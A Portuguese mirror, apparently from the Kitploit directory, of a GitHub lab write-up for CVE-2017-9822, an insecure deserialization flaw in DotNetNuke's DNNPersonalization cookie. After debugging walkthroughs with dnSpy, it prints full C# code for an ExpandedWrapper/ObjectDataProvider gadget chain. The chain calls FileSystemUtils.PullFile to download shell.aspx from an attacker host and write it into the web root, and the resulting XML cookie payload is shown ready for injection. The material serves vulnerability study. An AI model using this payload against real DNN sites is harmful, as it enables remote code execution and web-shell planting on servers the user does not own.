Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-9822 — Análise detalhada e exploit de prova de conceito para CVE-2017-9822, uma vulnerabilidade de XXE/desserialização insegura no DotNetNuke CMS que leva à execução remota de código via manipulação de cookies. | Kitploit
Ferramentas/GitHubGitHub/tranphuc2005/cve-2017-9822
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de PayloadsExploração de Binários
GitHubtranphuc2005/cve-2017-9822

CVE-2017-9822

Análise detalhada e exploit de prova de conceito para CVE-2017-9822, uma vulnerabilidade de XXE/desserialização insegura no DotNetNuke CMS que leva à execução remota de código via manipulação de cookies.

Ver Repositório
há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2017-9822

DotNetNuke (geralmente abreviado como DNN) é uma plataforma CMS (Content Management System) e framework de aplicação web baseada na tecnologia ASP.NET da Microsoft.

Informações principais

  • Produto afetado: DotNetNuke (DNN Platform) – um CMS/portal .NET popular.

  • Data de divulgação: Julho de 2017.

  • Nível: Crítico (CVSS ~9.8).

  • Tipo de vulnerabilidade: XML External Entity (XXE) / Desserialização Insegura → Execução Remota de Código (RCE).

  • Impacto: antes da versão 9.1.1, possibilidade de executar código remotamente através de cookie

Guia de instalação

Aqui estou usando o Windows 10 para configurar e depurar o programa. A versão que estou instalando é 9.1.0. Vocês podem consultar o guia de instalação Aqui. E o resultado após a conclusão é:

1

Análise

1

  • De acordo com os relatórios que li, essa vulnerabilidade está localizada no processamento de cookies do DotNetNuke

  • O DNN utiliza um método de desserialização insegura (unsafe deserialization) para o cookie DNNPersonalization

1

Depuração

  • Aqui estou usando o dnSpy, uma ferramenta decompilador e depurador para aplicações .NET (C#, VB.NET, F#...). Ela permite visualizar, analisar e modificar o código-fonte a partir de arquivos compilados como .dll ou .exe escritos em .NET. Pode ser instalado Aqui. Precisamos baixar duas versões para a depuração.

1

  • Primeiro, abra o DotNetNuke.dll com a versão de 32 bits e selecione Edit Assembly Attributes (C#)

1

  • Em seguida, substitua a linha
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
  • Por
root@kitploit:~
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

1

Depois, salve.

  • Abra a versão de 64 bits com privilégios de Administrador e selecione Attach to Process

1

  • Em seguida, selecione w3wp.exe

1

O motivo de escolher w3wp.exe é:

  • w3wp.exe = IIS Worker Process.

  • É o processo de execução do Application Pool no IIS.

  • Quando uma solicitação HTTP é enviada ao site, o IIS cria ou reutiliza um w3wp.exe para processar essa solicitação (executar código ASP.NET, processar módulos, middleware, conexão com banco de dados...).

  • Cada Application Pool pode ter um ou mais processos w3wp.exe dependendo da configuração (web garden, recycling).

Em seguida, vá em Debug -> Window -> Modules

1

Depois disso, os Módulos aparecerão. Clique com o botão direito em qualquer um e selecione Open All Modules

1

E, por fim, todos os Assemblies relacionados ao DNN aparecerão

1

  • Vá em DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)

1

Essa função é usada para carregar dados de personalização (perfil) do usuário no portal DNN.

  • Se for um usuário logado → carrega o perfil do banco de dados + cache.

  • Se for um usuário anônimo (não logado) → carrega o perfil do cookie DNNPersonalization.

Aqui devemos nos concentrar em DNNPersonalization

  • Se o userId não for válido (usuário anônimo).

  • Verifica se a solicitação possui o cookie DNNPersonalization.

  • Se sim → obtém o valor XML desse cookie.

  • Enviaremos uma solicitação 404 para o site e usaremos qualquer DNNPersonalization, usando o dnSpy para definir um Breakpoint em DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) para depurar

1

1

  • Na parte de Call Stack, concentre-se na classe PortalSettings

1

  • O que chama a atenção aqui é o uso de uma condição if para verificar se a solicitação atual já é IsAuthenticated ou não

  • E enquanto a solicitação que enviamos é 404 -> unauthenticated

  • Continue na parte de Call Stack, concentre-se em Handle404OrException

1

  • Aqui ele verifica se a solicitação context.User atual é null; se for, atribui context.User ao usuário da thread atual

1

1

  • Vemos que em Handle404OrException, a variável IsAuthenticated agora tem valor true e o usuário é o do servidor IIS, portanto a solicitação é executada como um usuário autenticado.

  • A razão do problema está neste trecho de código

root@kitploit:~
else if (transfer)
{
	if (context.User == null)
	{
		context.User = Thread.CurrentPrincipal;
	}
	response.TrySkipIisCustomErrors = true;
	IHttpHandler handler = new CDefault();
	context.Handler = handler;
	server.Transfer("~/" + text, true);
}
  • Se context.User não existir → atribui Thread.CurrentPrincipal (ou seja, a identidade atual da thread).

  • Isso faz com que a solicitação tenha informações de usuário/papel durante o processamento posterior.

=> Quando enviamos qualquer conteúdo para o cookie com a variável DNNPersonalization, ele será executado como um usuário normal.

A seguir, veja o direcionamento do processamento do cookie

  • Ainda em DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)

  • Vemos que a variável text recebe o valor do cookie e depois é passada como entrada para Globals.DeserializeHashTableXml()

1

  • Vá para Globals.DeserializeHashTableXml()

1

A função DeserializeHashTableXml tem a responsabilidade de:

  • Receber uma string XML (Source).

  • Analisar essa string XML para converter em um objeto Hashtable.

  • Durante a análise, chama a função XmlUtils.DeSerializeHashtable, com o parâmetro "profile" para especificar o nó raiz do XML.

Vá para dentro de XmlUtils.DeSerializeHashtable e veja como ele processa

1

A função DeSerializeHashtable recebe a string XML e a converte em Hashtable. Para cada nó <item>, a função:

  • Obtém a key para usar como chave.

  • Obtém o type e chama Type.GetType(type) para determinar o tipo de dados.

  • Usa XmlSerializer.Deserialize para transformar o conteúdo XML em um objeto real.

  • Adiciona ao Hashtable.

👉 Problema: como o type e o conteúdo XML são totalmente controlados pelo usuário (a partir do cookie DNNPersonalization)

Criando o Payload

Com base em XmlUtils#DeSerializeHashtable, que é o local da falha, crie um programa similar para serializar e desserializar o objeto:

root@kitploit:~
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;

namespace example
{
	public class Test  
	{    
	    private string _name;  
	    public string name  
	    {  
	        get { return _name; }  
	        set { this._name = value; execCMD(); }  
	    }  
	  
	    private void execCMD()  
	    {  
	        Process process = new Process();  
	        process.StartInfo.FileName = this._name;  
	        process.Start();  
	        process.Dispose(); // close  
	    }  
	}

    public class Program
    {
        private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
        public static void Serialize(Object obj) // method xml serialize arbitrary object 
        {
            // criar elemento raiz xml
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElementRoot);

            // criar nó filho item com atributo type contendo o nome do tipo do objeto

            XmlElement xmlElementItem = xmlDocument.CreateElement("item");
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);

            // serializar obj em xmlDocumentObj

            XmlDocument xmlDocumentObj = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocumentObj.LoadXml(stringWriter.ToString());
            // adicionar o xml serializado do objeto ao nó item e adicionar o nó item ao elemento raiz
            xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));

            xmlElementRoot.AppendChild(xmlElementItem);
    
            File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);

        }

        public static void DeSerialize(string xmlSource, string rootname)
        {
            // Hashtable hashtable = new Hashtable();
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {

                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));

                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom

                        Object objResult = xmlSerializer.Deserialize(xmlReader);
                        Test testObj = (Test) objResult;
                        Console.WriteLine("Deserialize sucessful: " + testObj.name);
                    }
                }
                catch (Exception)
                {
                }
            }
            // return hashtable;
        }
        static void Main(string[] args)
        {
            // serialize
            Test test = new Test();
            test.name = "notepad.exe"
            Serialize(test);
            // deserialize
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
            DeSerialize(xmlSource, "profile");

        }
    }
}
  • O arquivo xml ficará assim:
root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<profile>
  <item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
    <Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <name>notepad.exe</name>
    </Test>
  </item>
</profile>

1

  • Agora vamos passar para RCE
  • Precisamos encontrar um objeto que possa executar código ao realizar Deserialize
  • Aqui encontramos o método FileSystemUtils PullFile

1

Explicação:

  • PullFile(string URL, string FilePath) — método estático em FileSystemUtils usado para baixar o conteúdo de uma URL para um caminho FilePath no sistema.

  • Internamente usa WebClient.DownloadFile(URL, FilePath) — ação de baixar e escrever o arquivo.

  • catch apenas registra o erro e retorna uma mensagem; não relança a exceção.

Mas o problema é: XmlSerializer não pode serializar métodos de classe, apenas campos e propriedades públicos. Os campos e propriedades públicos da classe FileSystemUtils também não têm nenhum que possa chamar o método PullFile

Vamos para a Classe ObjectDataProvider

  • ObjectDataProvider é uma classe no WPF (namespace System.Windows.Data, módulo PresentationFramework.dll).

  • Tem capacidade de chamar métodos em tempo de execução — não apenas contém dados, mas pode realizar ações (efeito colateral) chamando qualquer método no objeto encapsulado.

  • Permite passar parâmetros — o invasor pode controlar os parâmetros passados para o método (por exemplo, URL e caminho do arquivo para um método PullFile).

  • ObjectDataProvider em si não “executa código” como um interpretador — mas permite chamar qualquer método público no objeto encapsulado. Portanto, se existir um método público com efeito colateral perigoso (por exemplo, baixar arquivo, executar processo, escrever arquivo), a cadeia pode realizar a ação.

1

Aqui ele está chamando Refresh() de DataSourceProvider

1

Continua para BeginQuery() e observe que ObjectDataProvider herda de DataSourceProvider e vamos para BeginQuery() de ObjectDataProvider

1

Continua com QueryWorker

1

Ele chamará InvokeMethodOnInstance

1

InvokeMethodOnInstance é o método que realmente executa (invoca) — usa reflexão para chamar o método especificado (MethodName) no objeto que ObjectDataProvider está “encapsulando” (ou no tipo, se for estático), passando a lista de MethodParameters, e retorna o resultado do método.

Usar a IDE jetbrain rider para escrever o script, necessário referenciar os módulos DotNetNuke.dll e PresentationFramework.dll.

1

Temos o Payload de execução a seguir

root@kitploit:~
using System;  
using System.IO;  
using System.Xml;  
using System.Xml.Serialization;  
using System.Windows.Data;              // ObjectDataProvider  
using DotNetNuke.Common.Utilities;      // FileSystemUtils (se você já adicionou a DLL)  
using System.Data.Services.Internal;    // ExpandedWrapper (se houver)  
  
namespace example  
{  
    public class Program  
    {  
        private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // ALTERE ISSO  
        public static void Serialize(Object obj) // método xml serializar objeto arbitrário   
        {  
            // criar elemento raiz xml  
            XmlDocument xmlDocument = new XmlDocument();  
            XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");  
            xmlDocument.AppendChild(xmlElementRoot);  
  
            // criar nó filho item com atributo type contendo o nome do tipo do objeto  
            XmlElement xmlElementItem = xmlDocument.CreateElement("item");  
            xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);  
  
            // serializar obj em xmlDocumentObj  
            XmlDocument xmlDocumentObj = new XmlDocument();  
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());  
            StringWriter stringWriter = new StringWriter();  
            xmlSerializer.Serialize(stringWriter, obj);  
            xmlDocumentObj.LoadXml(stringWriter.ToString());  
  
            // adicionar o xml serializado do objeto ao nó item e adicionar o nó item ao elemento raiz  
        xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));  
            xmlElementRoot.AppendChild(xmlElementItem);  
            File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);  
        }  
  
        public static void DeSerialize(string xmlSource, string rootname)  
        {  
            // Hashtable hashtable = new Hashtable();  
            if (!string.IsNullOrEmpty(xmlSource))  
            {  
                try  
                {  
                    XmlDocument xmlDocument = new XmlDocument();  
                    xmlDocument.LoadXml(xmlSource);  
                    foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))  
  
                    {  
                        XmlElement xmlElement = (XmlElement)obj;  
                        string attribute = xmlElement.GetAttribute("key");  
                        string attribute2 = xmlElement.GetAttribute("type");  
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));  
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));  
                        // hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));  
                        // custom  
                        Object objResult = xmlSerializer.Deserialize(xmlReader);  
                    }  
                }  
                catch (Exception)  
                {  
                }  
            }  
            // return hashtable;  
        }  
        static void Main(string[] args)  
        {  
            ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();  
            expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();  
            expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();  
            expandedWrapper.ProjectedProperty0.MethodName = "PullFile";  
    expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");  
            expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");  
  
            Console.WriteLine("Done!!");  
            Serialize(expandedWrapper);  
  
            String xmlSource = File.ReadAllText(fileFolder + "obj.xml");  
            DeSerialize(xmlSource, "profile");  
  
        }  
    }  
}

obtemos o arquivo xml:

root@kitploit:~
<profile>
  <item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>

Realizar a inserção do payload

1

1

1

Vamos explorar

1

Além disso, podemos usar a ferramenta ysoserial.NET para gerar o payload

1

1

Além disso, também podemos explorar a parte de leitura de arquivos no WriteFile da classe FileSystemUtils

1

1

Baixar ferramenta